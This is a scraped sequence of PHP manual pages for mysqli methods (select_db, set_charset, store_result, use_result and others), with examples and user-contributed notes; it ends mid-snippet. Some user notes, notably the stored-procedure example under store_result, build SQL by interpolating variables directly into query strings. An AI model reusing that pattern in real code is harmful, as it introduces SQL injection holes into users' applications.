Procedural style:

bool mysqli_savepoint ( mysqli $link , string $name )

Warning

This function is currently not documented; only its argument list is available.

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

name

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • mysqli_commit() - Commits the current transaction

User Contributed Notes

There are no user contributed notes for this page.


Selects the default database for database queries

  • « mysqli::savepoint
  • mysqli::send_query »
  • PHP Manual
  • mysqli
  • Selects the default database for database queries

mysqli::select_db

mysqli_select_db

(PHP 5)

mysqli::select_db -- mysqli_select_db — Selects the default database for database queries

Description

Object oriented style

bool mysqli::select_db ( string $dbname )

Procedural style

bool mysqli_select_db ( mysqli $link , string $dbname )

Selects the default database to be used when performing queries against the database connection.

Note:

This function should only be used to change the default database for the connection. You can select the default database with 4th parameter in mysqli_connect().

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

dbname

The database name.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 mysqli::select_db() example

Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "test");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* return name of current default database */
if ($result = $mysqli->query("SELECT DATABASE()")) {
    $row = $result->fetch_row();
    printf("Default database is %s.\n", $row[0]);
    $result->close();
}

/* change db to world db */
$mysqli->select_db("world");

/* return name of current default database */
if ($result = $mysqli->query("SELECT DATABASE()")) {
    $row = $result->fetch_row();
    printf("Default database is %s.\n", $row[0]);
    $result->close();
}

$mysqli->close();
?>

Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "test");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* return name of current default database */
if ($result = mysqli_query($link, "SELECT DATABASE()")) {
    $row = mysqli_fetch_row($result);
    printf("Default database is %s.\n", $row[0]);
    mysqli_free_result($result);
}

/* change db to world db */
mysqli_select_db($link, "world");

/* return name of current default database */
if ($result = mysqli_query($link, "SELECT DATABASE()")) {
    $row = mysqli_fetch_row($result);
    printf("Default database is %s.\n", $row[0]);
    mysqli_free_result($result);
}

mysqli_close($link);
?>

The above examples will output:

Default database is test.
Default database is world.

See Also

  • mysqli_connect() - Alias of mysqli::__construct
  • mysqli_real_connect() - Opens a connection to a mysql server

User Contributed Notes

hwalker1 at btopenworld dot com 02-Jan-2014 08:52
Note that in the second example, if the database "world" does not exist, the database selected does not change. You may need to add additional code to ensure that you are connected to the correct database.
pjasiulewicz at gmail dot com 27-Mar-2011 11:30
In some situations its useful to use this function for changing databases in general. We've tested it in production environment and it seams to be faster with switching databases than creating new connections.


Send the query and return

  • « mysqli::select_db
  • mysqli::set_charset »
  • PHP Manual
  • mysqli
  • Send the query and return

mysqli::send_query

mysqli_send_query

(PHP 5)

mysqli::send_query -- mysqli_send_query — Send the query and return

Description

Object oriented style

bool mysqli::send_query ( string $query )

Procedural style

bool mysqli_send_query ( mysqli $link , string $query )
Warning

This function is currently not documented; only its argument list is available.

Warning

This function has been DEPRECATED and REMOVED as of PHP 5.3.0.

User Contributed Notes

There are no user contributed notes for this page.


Sets the default client character set

  • « mysqli::send_query
  • mysqli::set_local_infile_default »
  • PHP Manual
  • mysqli
  • Sets the default client character set

mysqli::set_charset

mysqli_set_charset

(PHP 5 >= 5.0.5)

mysqli::set_charset -- mysqli_set_charset — Sets the default client character set

Description

Object oriented style

bool mysqli::set_charset ( string $charset )

Procedural style

bool mysqli_set_charset ( mysqli $link , string $charset )

Sets the default character set to be used when sending data from and to the database server.

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

charset

The charset to be set as default.

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Note:

To use this function on a Windows platform you need MySQL client library version 4.1.11 or above (for MySQL 5.0 you need 5.0.6 or above).

Note:

This is the preferred way to change the charset. Using mysqli_query() to set it (such as SET NAMES utf8) is not recommended. See the MySQL character set concepts section for more information.

Examples

Example #1 mysqli::set_charset() example

Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "test");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* change character set to utf8 */
if (!$mysqli->set_charset("utf8")) {
    printf("Error loading character set utf8: %s\n", $mysqli->error);
} else {
    printf("Current character set: %s\n", $mysqli->character_set_name());
}

$mysqli->close();
?>

Procedural style

<?php
$link = mysqli_connect('localhost', 'my_user', 'my_password', 'test');

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* change character set to utf8 */
if (!mysqli_set_charset($link, "utf8")) {
    printf("Error loading character set utf8: %s\n", mysqli_error($link));
} else {
    printf("Current character set: %s\n", mysqli_character_set_name($link));
}

mysqli_close($link);
?>

The above examples will output:

Current character set: utf8

See Also

  • mysqli_character_set_name() - Returns the default character set for the database connection
  • mysqli_real_escape_string() - Escapes special characters in a string for use in an SQL statement, taking into account the current charset of the connection
  • » List of character sets that MySQL supports

User Contributed Notes

coder at punkass dot com 12-Apr-2006 08:13
On windows, with "stock" PHP 5.1.2, there is no set_charset function at all. One may have to replace php_mysqli.dll, and libmysql.dll with proper versions, which provided by MySQL at http://dev.mysql.com/downloads/connector/php/


Unsets user defined handler for load local infile command

  • « mysqli::set_charset
  • mysqli::set_local_infile_handler »
  • PHP Manual
  • mysqli
  • Unsets user defined handler for load local infile command

mysqli::set_local_infile_default

mysqli_set_local_infile_default

(PHP 5)

mysqli::set_local_infile_default -- mysqli_set_local_infile_default — Unsets user defined handler for load local infile command

Description

void mysqli_set_local_infile_default ( mysqli $link )

Deactivates a LOAD DATA INFILE LOCAL handler previously set with mysqli_set_local_infile_handler().

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

Return Values

No value is returned.

Examples

See mysqli_set_local_infile_handler() examples

See Also

  • mysqli_set_local_infile_handler() - Set callback function for LOAD DATA LOCAL INFILE command

User Contributed Notes

There are no user contributed notes for this page.


Set callback function for LOAD DATA LOCAL INFILE command

  • « mysqli::set_local_infile_default
  • mysqli::$sqlstate »
  • PHP Manual
  • mysqli
  • Set callback function for LOAD DATA LOCAL INFILE command

mysqli::set_local_infile_handler

mysqli_set_local_infile_handler

(PHP 5)

mysqli::set_local_infile_handler -- mysqli_set_local_infile_handler — Set callback function for LOAD DATA LOCAL INFILE command

Description

Object oriented style

bool mysqli::set_local_infile_handler ( mysqli $link , callable $read_func )

Procedural style

bool mysqli_set_local_infile_handler ( mysqli $link , callable $read_func )

Set callback function for LOAD DATA LOCAL INFILE command

The callbacks task is to read input from the file specified in the LOAD DATA LOCAL INFILE and to reformat it into the format understood by LOAD DATA INFILE.

The returned data needs to match the format specified in the LOAD DATA

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

read_func

A callback function or object method taking the following parameters:

stream

A PHP stream associated with the SQL commands INFILE

&buffer

A string buffer to store the rewritten input into

buflen

The maximum number of characters to be stored in the buffer

&errormsg

If an error occurs you can store an error message in here

The callback function should return the number of characters stored in the buffer or a negative value if an error occurred.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 mysqli::set_local_infile_handler() example

Object oriented style

<?php
  $db = mysqli_init();
  $db->real_connect("localhost","root","","test");

  function callme($stream, &$buffer, $buflen, &$errmsg)
  {
    $buffer = fgets($stream);

    echo $buffer;

    // convert to upper case and replace "," delimiter with [TAB]
    $buffer = strtoupper(str_replace(",", "\t", $buffer));

    return strlen($buffer);
  }

  echo "Input:\n";

  $db->set_local_infile_handler("callme");
  $db->query("LOAD DATA LOCAL INFILE 'input.txt' INTO TABLE t1");
  $db->set_local_infile_default();

  $res = $db->query("SELECT * FROM t1");

  echo "\nResult:\n";
  while ($row = $res->fetch_assoc()) {
    echo join(",", $row)."\n";
  }
?>

Procedural style

<?php
  $db = mysqli_init();
  mysqli_real_connect($db, "localhost","root","","test");

  function callme($stream, &$buffer, $buflen, &$errmsg)
  {
    $buffer = fgets($stream);

    echo $buffer;

    // convert to upper case and replace "," delimiter with [TAB]
    $buffer = strtoupper(str_replace(",", "\t", $buffer));

    return strlen($buffer);
  }

  echo "Input:\n";

  mysqli_set_local_infile_handler($db, "callme");
  mysqli_query($db, "LOAD DATA LOCAL INFILE 'input.txt' INTO TABLE t1");
  mysqli_set_local_infile_default($db);

  $res = mysqli_query($db, "SELECT * FROM t1");

  echo "\nResult:\n";
  while ($row = mysqli_fetch_assoc($res)) {
    echo join(",", $row)."\n";
  }
?>

The above examples will output:

Input:
23,foo
42,bar

Output:
23,FOO
42,BAR

See Also

  • mysqli_set_local_infile_default() - Unsets user defined handler for load local infile command

User Contributed Notes

There are no user contributed notes for this page.


Returns the SQLSTATE error from previous MySQL operation

  • « mysqli::set_local_infile_handler
  • mysqli::ssl_set »
  • PHP Manual
  • mysqli
  • Returns the SQLSTATE error from previous MySQL operation

mysqli::$sqlstate

mysqli_sqlstate

(PHP 5)

mysqli::$sqlstate -- mysqli_sqlstate — Returns the SQLSTATE error from previous MySQL operation

Description

Object oriented style

string $mysqli->sqlstate;

Procedural style

string mysqli_sqlstate ( mysqli $link )

Returns a string containing the SQLSTATE error code for the last error. The error code consists of five characters. '00000' means no error. The values are specified by ANSI SQL and ODBC. For a list of possible values, see » http://dev.mysql.com/doc/mysql/en/error-handling.html.

Note:

Note that not all MySQL errors are yet mapped to SQLSTATE's. The value HY000 (general error) is used for unmapped errors.

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

Return Values

Returns a string containing the SQLSTATE error code for the last error. The error code consists of five characters. '00000' means no error.

Examples

Example #1 $mysqli->sqlstate example

Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* Table City already exists, so we should get an error */
if (!$mysqli->query("CREATE TABLE City (ID INT, Name VARCHAR(30))")) {
    printf("Error - SQLSTATE %s.\n", $mysqli->sqlstate);
}

$mysqli->close();
?>

Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* Table City already exists, so we should get an error */
if (!mysqli_query($link, "CREATE TABLE City (ID INT, Name VARCHAR(30))")) {
    printf("Error - SQLSTATE %s.\n", mysqli_sqlstate($link));
}

mysqli_close($link);
?>

The above examples will output:

Error - SQLSTATE 42S01.

See Also

  • mysqli_errno() - Returns the error code for the most recent function call
  • mysqli_error() - Returns a string description of the last error

User Contributed Notes

There are no user contributed notes for this page.


Used for establishing secure connections using SSL

  • « mysqli::$sqlstate
  • mysqli::stat »
  • PHP Manual
  • mysqli
  • Used for establishing secure connections using SSL

mysqli::ssl_set

mysqli_ssl_set

(PHP 5)

mysqli::ssl_set -- mysqli_ssl_set — Used for establishing secure connections using SSL

Description

Object oriented style

bool mysqli::ssl_set ( string $key , string $cert , string $ca , string $capath , string $cipher )

Procedural style

bool mysqli_ssl_set ( mysqli $link , string $key , string $cert , string $ca , string $capath , string $cipher )

Used for establishing secure connections using SSL. It must be called before mysqli_real_connect(). This function does nothing unless OpenSSL support is enabled.

Note that MySQL Native Driver does not support SSL before PHP 5.3.3, so calling this function when using MySQL Native Driver will result in an error. MySQL Native Driver is enabled by default on Microsoft Windows from PHP version 5.3 onwards.

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

key

The path name to the key file.

cert

The path name to the certificate file.

ca

The path name to the certificate authority file.

capath

The pathname to a directory that contains trusted SSL CA certificates in PEM format.

cipher

A list of allowable ciphers to use for SSL encryption.

Any unused SSL parameters may be given as NULL

Return Values

This function always returns TRUE value. If SSL setup is incorrect mysqli_real_connect() will return an error when you attempt to connect.

See Also

  • mysqli_options() - Set options
  • mysqli_real_connect() - Opens a connection to a mysql server

User Contributed Notes

There are no user contributed notes for this page.


Gets the current system status

  • « mysqli::ssl_set
  • mysqli::stmt_init »
  • PHP Manual
  • mysqli
  • Gets the current system status

mysqli::stat

mysqli_stat

(PHP 5)

mysqli::stat -- mysqli_stat — Gets the current system status

Description

Object oriented style

string mysqli::stat ( void )

Procedural style

string mysqli_stat ( mysqli $link )

mysqli_stat() returns a string containing information similar to that provided by the 'mysqladmin status' command. This includes uptime in seconds and the number of running threads, questions, reloads, and open tables.

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

Return Values

A string describing the server status. FALSE if an error occurred.

Examples

Example #1 mysqli::stat() example

Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

printf ("System status: %s\n", $mysqli->stat());

$mysqli->close();
?>

Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

printf("System status: %s\n", mysqli_stat($link));

mysqli_close($link);
?>

The above examples will output:

System status: Uptime: 272  Threads: 1  Questions: 5340  Slow queries: 0
Opens: 13  Flush tables: 1  Open tables: 0  Queries per second avg: 19.632
Memory in use: 8496K  Max memory used: 8560K

See Also

  • mysqli_get_server_info() - Returns the version of the MySQL server

User Contributed Notes

There are no user contributed notes for this page.


Initializes a statement and returns an object for use with mysqli_stmt_prepare

  • « mysqli::stat
  • mysqli::store_result »
  • PHP Manual
  • mysqli
  • Initializes a statement and returns an object for use with mysqli_stmt_prepare

mysqli::stmt_init

mysqli_stmt_init

(PHP 5)

mysqli::stmt_init -- mysqli_stmt_init — Initializes a statement and returns an object for use with mysqli_stmt_prepare

Description

Object oriented style

mysqli_stmt mysqli::stmt_init ( void )

Procedural style

mysqli_stmt mysqli_stmt_init ( mysqli $link )

Allocates and initializes a statement object suitable for mysqli_stmt_prepare().

Note:

Any subsequent calls to any mysqli_stmt function will fail until mysqli_stmt_prepare() was called.

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

Return Values

Returns an object.

See Also

  • mysqli_stmt_prepare() - Prepare an SQL statement for execution

User Contributed Notes

mamdo7 at hotmail dot com 08-Jun-2014 08:58
you can use $stmt = $mysqli->prepare(); directly without stmt-init() . i think there is no need for stmt-init .


Transfers a result set from the last query

  • « mysqli::stmt_init
  • mysqli::$thread_id »
  • PHP Manual
  • mysqli
  • Transfers a result set from the last query

mysqli::store_result

mysqli_store_result

(PHP 5)

mysqli::store_result -- mysqli_store_result — Transfers a result set from the last query

Description

Object oriented style

mysqli_result mysqli::store_result ([ int $option ] )

Procedural style

mysqli_result mysqli_store_result ([ int $option ] )

Transfers the result set from the last query on the database connection represented by the link parameter to be used with the mysqli_data_seek() function.

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

option

The option that you want to set. It can be one of the following values:

Valid options
Name | Description
MYSQLI_STORE_RESULT_COPY_DATA | Copy results from the internal mysqlnd buffer into the PHP variables fetched. By default, mysqlnd will use a reference logic to avoid copying and duplicating results held in memory. For certain result sets, for example, result sets with many small rows, the copy approach can reduce the overall memory usage because PHP variables holding results may be released earlier (available with mysqlnd only, since PHP 5.6.0)

Return Values

Returns a buffered result object or FALSE if an error occurred.

Note:

mysqli_store_result() returns FALSE in case the query didn't return a result set (if the query was, for example an INSERT statement). This function also returns FALSE if the reading of the result set failed. You can check if you have got an error by checking if mysqli_error() doesn't return an empty string, if mysqli_errno() returns a non zero value, or if mysqli_field_count() returns a non zero value. Also possible reason for this function returning FALSE after successful call to mysqli_query() can be too large result set (memory for it cannot be allocated). If mysqli_field_count() returns a non-zero value, the statement should have produced a non-empty result set.

Notes

Note:

Although it is always good practice to free the memory used by the result of a query using the mysqli_free_result() function, when transferring large result sets using the mysqli_store_result() this becomes particularly important.

Examples

See mysqli_multi_query().

See Also

  • mysqli_real_query() - Execute an SQL query
  • mysqli_use_result() - Initiate a result set retrieval

User Contributed Notes

Tex Morgan 07-Jul-2013 07:45
There's a simpler way to clear out database stored procedure problems:

class MySQLiQuery {
     protected $_resultSet;
     protected $databaseConnection;
....

    protected function free(){
        $this->_resultSet->free();
        $this->_resultSet=null;
    }

    protected function checkMoreResults(){
        if($this->databaseConnection->more_results()){
            return true;
        } else {
            return false;
        }
    }

    protected function clearResults(){
        if($this->checkMoreResults()){
            if($this->databaseConnection->next_result()){
                if($this->_resultSet=$this->databaseConnection->store_result()){
                    $this->free();
                }
                $this->clearResults(); // <----------- recursive call is your friend
            }
        }
    }
.......
}
mitchind 05-Feb-2010 05:28
After reading through original notes and example above as well as wading through the documentation, I finally got a loop to work with two stored procedures.

Using the results of the first one as a parameter for the second one. Easier to do this way than a huge modified sequence of Inner Join queries.

Hope this helps others...

<?php
// Connect to server and database
$mysqli        = new mysqli("$dbServer", "$dbUser", "$dbPass", "$dbName");

// Open First Stored Procedure using MYSQLI_STORE_RESULT to retain for looping
$resultPicks = $mysqli->query("CALL $proc ($searchDate, $maxRSI, $incRSI, $minMACD, $minVol, $minTrades, $minClose, $maxClose)", MYSQLI_STORE_RESULT);

// process one row at a time from first SP
while($picksRow = $resultPicks->fetch_array(MYSQLI_ASSOC)) {
    // Get Parameter for next SP
    $symbol     = $picksRow['Symbol'];

    // Free stored results
    clearStoredResults($mysqli);

    // Execute second SP using value from first as a parameter (MYSQLI_USE_RESULT and free result right away)
    $resultData    = $mysqli->query("CALL prcGetLastMACDDatesBelowZero('$symbol', $searchDate)", MYSQLI_USE_RESULT);
    $dataRow    = $resultData->fetch_array(MYSQLI_ASSOC);

    // Dump result from both related queries
    echo "<p>$symbol ... Num Dates: " . $dataRow['NumDates'];

    // Free results from second SP
    $resultData->free();

}

// Free results from first SP
$resultPicks->free();

// close connections
$mysqli->close();

#------------------------------------------
function clearStoredResults($mysqli_link){
#------------------------------------------
    while($mysqli_link->next_result()){
      if($l_result = $mysqli_link->store_result()){
              $l_result->free();
      }
    }
}
?>
Warner 21-Jul-2009 11:45
It also seems, that executing a SET statement in multi_query() returns an extra recordset too, which one would not expect.
lau at goldenweb dot com dot au 13-Apr-2007 10:29
Beware when using stored procedures:
If you connect to the database and then call dbproc A followed by a call to db proc B and then close the connection to the db, the second procedure call will not work.

It looks like there is a bug in MYSQL or mysqli that returns an extra recordset than you would expect. It then doesn't let you call another stored procedure until you finish processing all the recordsets from the first stored procedure call.

The solution is to simply loop through the additional recordsets between calls to db procs. Here is a function that I call between db proc calls:

<?php
#--------------------------------
function ClearRecordsets($p_Result){
#--------------------------------
    $p_Result->free();
    while($this->Mysqli->next_result()){
      if($l_result = $this->Mysqli->store_result()){
              $l_result->free();
      }
    }
}

?>


Returns the thread ID for the current connection

  • « mysqli::store_result
  • mysqli::thread_safe »
  • PHP Manual
  • mysqli
  • Returns the thread ID for the current connection

mysqli::$thread_id

mysqli_thread_id

(PHP 5)

mysqli::$thread_id -- mysqli_thread_id — Returns the thread ID for the current connection

Description

Object oriented style

int $mysqli->thread_id;

Procedural style

int mysqli_thread_id ( mysqli $link )

The mysqli_thread_id() function returns the thread ID for the current connection which can then be killed using the mysqli_kill() function. If the connection is lost and you reconnect with mysqli_ping(), the thread ID will be other. Therefore you should get the thread ID only when you need it.

Note:

The thread ID is assigned on a connection-by-connection basis. Hence, if the connection is broken and then re-established a new thread ID will be assigned.

To kill a running query you can use the SQL command KILL QUERY processid.

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

Return Values

Returns the Thread ID for the current connection.

Examples

Example #1 $mysqli->thread_id example

Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* determine our thread id */
$thread_id = $mysqli->thread_id;

/* Kill connection */
$mysqli->kill($thread_id);

/* This should produce an error */
if (!$mysqli->query("CREATE TABLE myCity LIKE City")) {
    printf("Error: %s\n", $mysqli->error);
    exit;
}

/* close connection */
$mysqli->close();
?>

Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* determine our thread id */
$thread_id = mysqli_thread_id($link);

/* Kill connection */
mysqli_kill($link, $thread_id);

/* This should produce an error */
if (!mysqli_query($link, "CREATE TABLE myCity LIKE City")) {
    printf("Error: %s\n", mysqli_error($link));
    exit;
}

/* close connection */
mysqli_close($link);
?>

The above examples will output:

Error: MySQL server has gone away

See Also

  • mysqli_kill() - Asks the server to kill a MySQL thread

User Contributed Notes

There are no user contributed notes for this page.


Returns whether thread safety is given or not

  • « mysqli::$thread_id
  • mysqli::use_result »
  • PHP Manual
  • mysqli
  • Returns whether thread safety is given or not

mysqli::thread_safe

mysqli_thread_safe

(PHP 5)

mysqli::thread_safe -- mysqli_thread_safe — Returns whether thread safety is given or not

Description

Procedural style

bool mysqli_thread_safe ( void )

Tells whether the client library is compiled as thread-safe.

Return Values

TRUE if the client library is thread-safe, otherwise FALSE.

User Contributed Notes

There are no user contributed notes for this page.


Initiate a result set retrieval

  • « mysqli::thread_safe
  • mysqli::$warning_count »
  • PHP Manual
  • mysqli
  • Initiate a result set retrieval

mysqli::use_result

mysqli_use_result

(PHP 5)

mysqli::use_result -- mysqli_use_result — Initiate a result set retrieval

Description

Object oriented style

mysqli_result mysqli::use_result ( void )

Procedural style

mysqli_result mysqli_use_result ( mysqli $link )

Used to initiate the retrieval of a result set from the last query executed using the mysqli_real_query() function on the database connection.

Either this or the mysqli_store_result() function must be called before the results of a query can be retrieved, and one or the other must be called to prevent the next query on that database connection from failing.

Note:

The mysqli_use_result() function does not transfer the entire result set from the database and hence cannot be used functions such as mysqli_data_seek() to move to a particular row within the set. To use this functionality, the result set must be stored using mysqli_store_result(). One should not use mysqli_use_result() if a lot of processing on the client side is performed, since this will tie up the server and prevent other threads from updating any tables from which the data is being fetched.

Return Values

Returns an unbuffered result object or FALSE if an error occurred.

Examples

Example #1 mysqli::use_result() example

Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query  = "SELECT CURRENT_USER();";
$query .= "SELECT Name FROM City ORDER BY ID LIMIT 20, 5";

/* execute multi query */
if ($mysqli->multi_query($query)) {
    do {
        /* store first result set */
        if ($result = $mysqli->use_result()) {
            while ($row = $result->fetch_row()) {
                printf("%s\n", $row[0]);
            }
            $result->close();
        }
        /* print divider */
        if ($mysqli->more_results()) {
            printf("-----------------\n");
        }
    } while ($mysqli->next_result());
}

/* close connection */
$mysqli->close();
?>

Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query  = "SELECT CURRENT_USER();";
$query .= "SELECT Name FROM City ORDER BY ID LIMIT 20, 5";

/* execute multi query */
if (mysqli_multi_query($link, $query)) {
    do {
        /* store first result set */
        if ($result = mysqli_use_result($link)) {
            while ($row = mysqli_fetch_row($result)) {
                printf("%s\n", $row[0]);
            }
            mysqli_free_result($result);
        }
        /* print divider */
        if (mysqli_more_results($link)) {
            printf("-----------------\n");
        }
    } while (mysqli_next_result($link));
}

/* close connection */
mysqli_close($link);
?>

The above examples will output:

my_user@localhost
-----------------
Amersfoort
Maastricht
Dordrecht
Leiden
Haarlemmermeer

See Also

  • mysqli_real_query() - Execute an SQL query
  • mysqli_store_result() - Transfers a result set from the last query

User Contributed Notes

Anonymous 14-Sep-2012 02:30
> One should not use mysqli_use_result() if a lot of processing on the client side is performed, since this will tie up the server and prevent other threads from updating any tables from which the data is being fetched.

Another way of understanding the "blocking" behavior of this "use_result" method is that by using this method (or the MYSQLI_USE_RESULT flag on the "query" method), if attempting to run a second query of any kind - updates, inserts, selects, or other - while still working with these first results, the second query will fail.  Checking mysqli->error, you should get a "Commands out of sync" error on the second query call.

However, if you use the "store_result" method (or the default MYSQLI_STORE_RESULT flag on the "query" method) instead, the second query will execute just fine.

Just to demonstrate this "blocking" behavior of this "use_result" method, the second query on line 7 below would otherwise fail if you instead used "use_result" on line 3:

<?php
$mysqli->real_query('SELECT * FROM `test`');
$query = $mysqli->store_result();
while ($row = $query->fetch_assoc()) {
    $id = (int) $row['id'];
    $query2 = $mysqli->query("UPDATE `test` SET `label` = md5(rand()) WHERE `id` = $id");
}
?>


Returns the number of warnings from the last query for the given link

  • « mysqli::use_result
  • mysqli_stmt »
  • PHP Manual
  • mysqli
  • Returns the number of warnings from the last query for the given link

mysqli::$warning_count

mysqli_warning_count

(PHP 5)

mysqli::$warning_count -- mysqli_warning_count — Returns the number of warnings from the last query for the given link

Description

Object oriented style

int $mysqli->warning_count;

Procedural style

int mysqli_warning_count ( mysqli $link )

Returns the number of warnings from the last query in the connection.

Note:

For retrieving warning messages you can use the SQL command SHOW WARNINGS [limit row_count].

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

Return Values

Number of warnings or zero if there are no warnings.

Examples

Example #1 $mysqli->warning_count example

Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$mysqli->query("CREATE TABLE myCity LIKE City");

/* a remarkable city in Wales */
$query = "INSERT INTO myCity (CountryCode, Name) VALUES('GBR',
        'Llanfairpwllgwyngyllgogerychwyrndrobwllllantysiliogogogoch')";

$mysqli->query($query);

if ($mysqli->warning_count) {
    if ($result = $mysqli->query("SHOW WARNINGS")) {
        $row = $result->fetch_row();
        printf("%s (%d): %s\n", $row[0], $row[1], $row[2]);
        $result->close();
    }
}

/* close connection */
$mysqli->close();
?>

Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

mysqli_query($link, "CREATE TABLE myCity LIKE City");

/* a remarkable long city name in Wales */
$query = "INSERT INTO myCity (CountryCode, Name) VALUES('GBR',
        'Llanfairpwllgwyngyllgogerychwyrndrobwllllantysiliogogogoch')";

mysqli_query($link, $query);

if (mysqli_warning_count($link)) {
    if ($result = mysqli_query($link, "SHOW WARNINGS")) {
        $row = mysqli_fetch_row($result);
        printf("%s (%d): %s\n", $row[0], $row[1], $row[2]);
        mysqli_free_result($result);
    }
}

/* close connection */
mysqli_close($link);
?>

The above examples will output:

Warning (1264): Data truncated for column 'Name' at row 1

See Also

  • mysqli_errno() - Returns the error code for the most recent function call
  • mysqli_error() - Returns a string description of the last error
  • mysqli_sqlstate() - Returns the SQLSTATE error from previous MySQL operation

User Contributed Notes

There are no user contributed notes for this page.


The mysqli_stmt class

(PHP 5)

Introduction

Represents a prepared statement.

Class synopsis

mysqli_stmt {
/* Properties */
int $affected_rows;
int $errno;
array $error_list;
string $error;
int $field_count;
int $insert_id;
int $num_rows;
int $param_count;
string $sqlstate;
/* Methods */
int attr_get ( int $attr )
bool attr_set ( int $attr , int $mode )
bool bind_param ( string $types , mixed &$var1 [, mixed &$... ] )
bool bind_result ( mixed &$var1 [, mixed &$... ] )
bool close ( void )
void data_seek ( int $offset )
bool execute ( void )
bool fetch ( void )
void free_result ( void )
mysqli_result get_result ( void )
object get_warnings ( mysqli_stmt $stmt )
mixed prepare ( string $query )
bool reset ( void )
mysqli_result result_metadata ( void )
bool send_long_data ( int $param_nr , string $data )
bool store_result ( void )
}

Table of Contents

  • mysqli_stmt::$affected_rows — Returns the total number of rows changed, deleted, or inserted by the last executed statement
  • mysqli_stmt::attr_get — Used to get the current value of a statement attribute
  • mysqli_stmt::attr_set — Used to modify the behavior of a prepared statement
  • mysqli_stmt::bind_param — Binds variables to a prepared statement as parameters
  • mysqli_stmt::bind_result — Binds variables to a prepared statement for result storage
  • mysqli_stmt::close — Closes a prepared statement
  • mysqli_stmt::data_seek — Seeks to an arbitrary row in statement result set
  • mysqli_stmt::$errno — Returns the error code for the most recent statement call
  • mysqli_stmt::$error_list — Returns a list of errors from the last statement executed
  • mysqli_stmt::$error — Returns a string description for last statement error
  • mysqli_stmt::execute — Executes a prepared Query
  • mysqli_stmt::fetch — Fetch results from a prepared statement into the bound variables
  • mysqli_stmt::$field_count — Returns the number of field in the given statement
  • mysqli_stmt::free_result — Frees stored result memory for the given statement handle
  • mysqli_stmt::get_result — Gets a result set from a prepared statement
  • mysqli_stmt::get_warnings — Get result of SHOW WARNINGS
  • mysqli_stmt::$insert_id — Get the ID generated from the previous INSERT operation
  • mysqli_stmt::more_results — Check if there are more query results from a multiple query
  • mysqli_stmt::next_result — Reads the next result from a multiple query
  • mysqli_stmt::$num_rows — Return the number of rows in statements result set
  • mysqli_stmt::$param_count — Returns the number of parameter for the given statement
  • mysqli_stmt::prepare — Prepare an SQL statement for execution
  • mysqli_stmt::reset — Resets a prepared statement
  • mysqli_stmt::result_metadata — Returns result set metadata from a prepared statement
  • mysqli_stmt::send_long_data — Send data in blocks
  • mysqli_stmt::$sqlstate — Returns SQLSTATE error from previous statement operation
  • mysqli_stmt::store_result — Transfers a result set from a prepared statement

User Contributed Notes

anonunfinder at gmail dot com 20-Dec-2013 08:35
<?php
class MySQL
{
    protected $mysql;
    function __construct()
    {
                //Get MySQL config values from config.ini file
        if($config = parse_ini_file("../config.ini"))
        {
            // Obtener los valores del fichero de configuración config.ini
            $ip = $config["ip"];
            $user = $config["usuario"];
